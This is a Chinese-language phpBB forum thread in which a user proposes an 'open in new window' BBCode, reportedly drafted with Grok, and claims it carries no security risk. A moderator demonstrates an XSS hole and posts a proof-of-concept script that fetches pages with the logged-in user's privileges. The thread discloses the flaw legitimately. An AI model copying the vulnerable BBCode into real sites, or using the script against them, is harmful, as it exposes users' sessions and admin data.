分页: 1 / 1
【BBCode】希望能增加open功能
发表于 : 2025年 11月 26日 12:47
由 ejsoon
此前我希望svg直顯在頁面上,還要轉base64。後來認為這確實不是一個顯示svg的好辦法。
現在有了更好的方法,也只需要增加一個BBCode,那就是open in new window。
效果:
bbcode usage:
代码: 全选
[open]{TEXT}[/open]
html:
代码: 全选
<span class="bbcode-open" onclick="var b=this;while(b&&!b.classList.contains('codebox')){b=b.previousElementSibling;};if(b){var c=b.querySelector('code');if(c){var t=(c.textContent||c.innerText);var w=window.open('about:blank','_blank');w.document.write(t);w.document.close();} }" style="cursor:pointer;background:#0066cc;color:#fff;padding:3px 9px;border-radius:4px;font-size:12px;margin:0 7px;">Open in new window</span>
Help line:
代码: 全选
Place it after a code block to open the code in a new window.
可以打開html和svg等所有可以用瀏覽器打開並顯示的內容。
代碼首先由grok4.1提供,之後經我修改和測試。
不會有任何安全風險,因為是在另一個窗口打開。
已在我的本地phpbb測試通過。
希望貴壇可以增加這個功能,非常感謝!
@圈宝
Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 27日 01:15
由 圈宝
这个还需要评估一下~
Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 27日 08:30
由 ejsoon
圈宝 写了: 2025年 11月 27日 01:15
这个还需要评估一下~
android app不需要對其支援,可以不顯示這個bbcode。
應該不會有什麼安全問題。
如果你們仍有顧慮,是否可以拿出來討論下?
Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 27日 22:10
由 圈宝
等周末有空的时候,好好验一下,评估之后给您答复。
Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 29日 09:53
由 圈宝
尝试过了,有安全风险,利用这个bbcode和恶意代码可以进行
XSS攻击

Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 29日 18:43
由 ejsoon
圈宝 写了: 2025年 11月 29日 09:53
尝试过了,有安全风险,利用这个bbcode和恶意代码可以进行
XSS攻击
是否可以把「惡意代碼」分享下?我在我的本地跑一下看看。
Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 29日 21:32
由 圈宝
ejsoon 写了: 2025年 11月 29日 18:43
是否可以把「惡意代碼」分享下?我在我的本地跑一下看看。
让AI写的。可以直接以登陆者的身份去调用请求。window.location.href 可以改为任意地址。比如上面截图的地址,我将链接改成了管理员界面的一些地址,发现数据读取成功。这很危险,比如提前构造好恶意的js,可以删除数据,将数据发送至某些远程端点等。
代码: 全选
<script>
// Attempt to fetch the main page as the logged-in user
fetch(window.location.href)
.then(response => response.text())
.then(html => {
// We write the fetched HTML to the new window
// This proves we can see what the Admin sees
document.write("<h1>I cannot see the Cookie, but...</h1>");
document.write("<h3>I can read the page as YOU!</h3>");
// Extracting the page title or user info proves access
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
var title = doc.querySelector('title').innerText;
document.write("Page Title visible to you: " + title);
document.write("<br><br>Here is the source code I fetched as you:<br>");
document.write("<textarea style='width:100%;height:300px'>" + html + "</textarea>");
});
</script>
Re: 【BBCode】希望能增加open功能
发表于 : 2025年 11月 29日 23:39
由 ejsoon
圈宝 写了: 2025年 11月 29日 21:32
ejsoon 写了: 2025年 11月 29日 18:43
是否可以把「惡意代碼」分享下?我在我的本地跑一下看看。
让AI写的。可以直接以登陆者的身份去调用请求。window.location.href 可以改为任意地址。比如上面截图的地址,我将链接改成了管理员界面的一些地址,发现数据读取成功。这很危险,比如提前构造好恶意的js,可以删除数据,将数据发送至某些远程端点等。
代码: 全选
<script>
// Attempt to fetch the main page as the logged-in user
fetch(window.location.href)
.then(response => response.text())
.then(html => {
// We write the fetched HTML to the new window
// This proves we can see what the Admin sees
document.write("<h1>I cannot see the Cookie, but...</h1>");
document.write("<h3>I can read the page as YOU!</h3>");
// Extracting the page title or user info proves access
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
var title = doc.querySelector('title').innerText;
document.write("Page Title visible to you: " + title);
document.write("<br><br>Here is the source code I fetched as you:<br>");
document.write("<textarea style='width:100%;height:300px'>" + html + "</textarea>");
});
</script>
我大概明白了,如果你以登入者的身分,運行了惡意程式,這個程式是可以拿到登入者權限的所有信息,並傳送給第三方服務器的。